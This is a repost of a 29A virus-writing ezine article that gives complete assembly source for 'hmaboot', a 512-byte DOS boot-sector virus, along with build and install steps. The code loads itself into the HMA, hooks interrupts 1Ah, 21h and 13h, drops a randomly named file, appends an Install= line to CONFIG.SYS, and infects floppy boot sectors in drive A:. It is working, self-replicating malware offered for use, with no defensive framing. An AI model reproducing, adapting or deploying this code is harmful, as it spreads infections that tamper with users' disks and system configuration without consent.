Copy Link
Add to Bookmark
Report

29A Issue 02 04 08

eZine's profile picture
Published in 
29A
 · 4 years ago

  

comment *

Designed by "Q" the Misanthrope

This virus uses HMA memory extensively. It boots directly into the HMA by the
brute force method. It then waits till DOS loads then creates a random file
and adds an Install= statement to the CONFIG.SYS that loads the virus again
into the HMA (not bad for 512 bytes.) Also works with Windoze 95.

tasm hmaboot /m2
tlink hmaboot
exe2bin hmaboot.exe hmaboot.com
format a:/q/u
debug hmaboot.com
l 300 0 0 1
w 100 0 0 1
w 300 0 20 1
m 11e,2ff 100
w
q
copy hmaboot.com c:\BBFNJACD
edit c:\config.sys
Install=\BBFNJACD
altf
x
y

*

.286

qseg segment byte public 'CODE'
assume cs:qseg,es:qseg,ss:nothing,ds:qseg

top: jmp short hma_install
db 90h
db "MSDOS5.0"
dw 512
db 1
dw 1
db 2
dw 224
dw 2880
db 0F0h
dw 9
dw 18
dw 2

org 001eh

com_install proc near
mov ax,3501h ;tunnel to interrupt 21h
int 21h
mov dx,offset interrupt_1-com_install+100h
mov ah,25h ;set our interrupt 1 routine
push es
int 21h
pop ds ;set ds:dx to set int 1 back
push 00h ;es=00h
pop es
pushf ;simulate interrupt stack
mov dx,bx
push cs ;simulate stack to return to
push es ;cs:00h that terminates virus
int 01h ;set interrupt trap bit
jmp dword ptr es:[21h*04h] ;simulate int 21 and trace it
com_install endp

hma_install proc near ;brute force HMA access @ boot
pusha
mov al,0d1h ;for 8042 keyboard controller
out 64h,al
reloop: in al,64h
and al,02h
jnz reloop
mov al,0e3h ;enable HMA
out 60h,al
popa
es_si equ $+01h ;trick to get es:si point HMA
make_hma: mov bx,7c00h ;for reading boot sector
push cs ;becomes fc0eh for es
cld
pop ds ;load es:si=fc0e:7c00 in HMA
les si,dword ptr ds:[bx+offset es_si-top]
mov cx,offset previous_hook ;loop counter
lea di,word ptr ds:[si] ;source is 0000:7c00
push cs
push bx
push si
rep movsb ;move it to HMA
pop si
mov cl,low((offset previous_hook-top)/2)
rep movsw ;copy it again to HMA
mov si,1ah*04h ;hook interrupt 1ah
push si
push es
mov ax,offset interrupt_1a+7e00h-02h
call hook_interrupt ;hook interrupt into HMA
mov es,cx ;es=0 cx=low mem kernal length
mov cl,low(offset make_hma-hma_install)
mov di,0201h ;for low mem stub and int 13
push di
mov si,offset hma_install+7c00h
rep movsb ;HMA enable stub to low mem
mov al,0eah ;far jump
stosb
pop ax ;ax=0201 for int 13 read
pop si ;point it 1a to stub
push cs ;for far call return
call hook_interrupt ;set int 1a to point to stub
hma_install endp

set_cx_dx proc near ;read original bootsector
mov si,word ptr ds:[bx+11h] ;from last sector of root
shr si,04h ;directory
mov cx,word ptr ds:[bx+16h]
shl cx,01h
add cx,si
mov dh,01h
inc cx
sub cx,word ptr ds:[bx+18h]
int 13h ;read it and then jump to it
retf
set_cx_dx endp

config_line db "C:\Config.Sys",00 ;what to infect
install_name db "Install=" ;what to add
file_name db "\",00h ;random file goes here
crlf equ $+07h ;a carrage return line feed

interrupt_1 proc near ;tunnel routine to hook int 21
pusha
push sp
pop bp
push ds
push es
lds bx,dword ptr ss:[bp+10h];get instruction
cmp word ptr ds:[bx+01h],02effh
jne go_back ;was it a far indexed jump
cmp byte ptr ds:[bx-0ah],6ah
je toggle_tf ;was it our code
mov si,word ptr ds:[bx+03h] ;get index of jump
cmp byte ptr ds:[si+03h],0f0h
jb go_back ;was it in the HMA
mov bh,high(((tail-com_install+10h)SHR 4)*10h)+01h
mov di,0ffffh ;if so then allocate HMA
mov ax,4a02h ;to load virus into
int 2fh
inc di ;di=0 if no HMA
jz toggle_tf
push si ;save location of int 21 chain
cld
mov cx,previous_hook-com_install
mov si,0100h ;copy virus to HMA
rep movs byte ptr es:[di],cs:[si]
pop si ;hook into int 21 chain
lea ax,word ptr ds:[di-(offset previous_hook-resident_21)]
push cs ;for far call
call hook_interrupt ;hook in
toggle_tf: xor byte ptr ss:[bp+15h],01h;toggle single step flag
go_back: pop es
pop ds
popa ;pop all varables
iret ;return
interrupt_1 endp

hook_interrupt proc near ;hook interrupt
movsw ;move ds:si to es:di
movsw ;4 bytes worth
mov word ptr ds:[si-04h],ax ;hook into ds:si es:ax
mov word ptr ds:[si-02h],es
retf ;return far
hook_interrupt endp

interrupt_21 proc near ;momentary int 21 routine
pushf
pusha
push ds
push es
push cs
pop ds
mov ax,3d42h ;open config.sys
mov dx,offset config_line+7e00h-02h
int 18h
mov bx,5700h ;get date
xchg ax,bx
jc retry_later ;jump if error
int 18h
jcxz close_it ;check if infected
inc ax ;for set date later
pusha ;save it
mov ah,48h ;allocate lower memory for
mov bx,0888h ;disk write to config.sys
mov cx,bx
int 18h
jc popa_close_it
mov es,ax ;new segment to copy virii to
mov dx,offset file_name+7e00h-02h
mov di,dx ;ds:dx points to virii name
lea si,word ptr ds:[di]
std
rep movsw ;move the virus to low mem
push es
pop ds
mov ah,5ah ;create random file
int 18h
mov dx,offset com_install+7c00h
mov bh,40h ;now write it
xchg ax,bx
mov ch,02h ;at least 512 bytes worth
int 18h
mov ah,3eh ;close it
int 18h
popa ;get handle of config.sys
pusha ;push it again
mov ax,4202h ;goto the end of config.sys
cwd
push dx
pop cx
int 18h
mov ah,40h ;write install= line and crlf
mov word ptr ds:[crlf+7e00h-02h],0a0dh
mov cl,low(crlf-install_name+02h)
mov dx,offset install_name+7e00h-02h
int 18h ;add line to config.sys
mov ah,49h ;deallocate memory
int 18h
popa_close_it: popa ;get file date
sub cx,cx ;mark that it is infected
int 18h
close_it: mov ah,3eh ;close config.sys
int 18h
set_21_back: lds dx,dword ptr ds:[previous_hook+7c00h]
jmp short set_int_21 ;unkook int 21
retry_later: jmp short jmp_pop_it
interrupt_21 endp

interrupt_1a proc near ;interrupt 1a hook at startup
pushf
pusha
mov ax,1200h ;dos loaded yet?
push ds
push es
cwd
int 2fh
inc al
jnz jmp_pop_it
mov ds,dx ;if so then unhook int 1a and
mov si,21h*04h ;hook int 21 and set int 18
mov di,offset previous_hook+7c00h
les bx,dword ptr cs:[previous_hook+7e00h-02h]
mov ds:[si-((21h-1ah)*04h)],bx
mov ds:[si-((21h-1ah)*04h)+02h],es
les bx,dword ptr ds:[si]
mov ds:[si-((21h-18h)*04h)+02h],es
mov ds:[si-((21h-18h)*04h)],bx
push cs
cld
pop es
movsw
movsw ;hook in int 21
mov dx,offset interrupt_21+7c00h
push cs
pop ds
set_int_21: mov ax,2521h ;set int 21
int 18h
jmp_pop_it: jmp short pop_it
interrupt_1a endp

org 001aeh

resident_21 proc near ;resident int 21 routine
pushf
pusha
push ds
push es
cmp ah,38h ;infect on get country code
jne pop_it
mov ah,19h ;see if drive a:
pushf
push cs
call far_jmp
or al,al
jnz pop_it ;if not then don't infect
call next_line ;get offset in HMA
next_line: pop bx
add bx,offset vbuffer-next_line
push cs
mov cx,0001h ;read boot sector
pop es
push cs
mov ax,0201h
cwd
pop ds
int 13h
jc pop_it ;any errors then leave
mov di,0000h ;move di the jmp instruction
org $-02h ;at the start of the virii
jmp $(hma_install-top)
cmp di,word ptr ds:[bx] ;check if it is infected
je pop_it ;if so then leave
mov ax,0301h ;move old boot sector
pusha
push cs ;for far call
call set_cx_dx ;write old boot sector
xchg di,word ptr ds:[bx] ;put jmp in boot sector
cld ;copy virii to boot sector
mov cx,previous_hook-com_install
lea si,word ptr ds:[bx-offset (vbuffer-com_install)]
lea di,word ptr ds:[bx+com_install-top]
rep movsb
popa ;write virus
int 13h
pop_it: pop es ;clean the stack
pop ds
popa
popf
resident_21 endp

org 001fdh

far_jmp proc near
db 0eah ;jump to previous hook
previous_hook: label double
far_jmp endp

boot_signature dw 0aa55h ;boot sector thingy

org $+02h
vbuffer label byte ;where the reads/writes are
org $+0202h
tail label byte ;the end

qseg ends
end

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT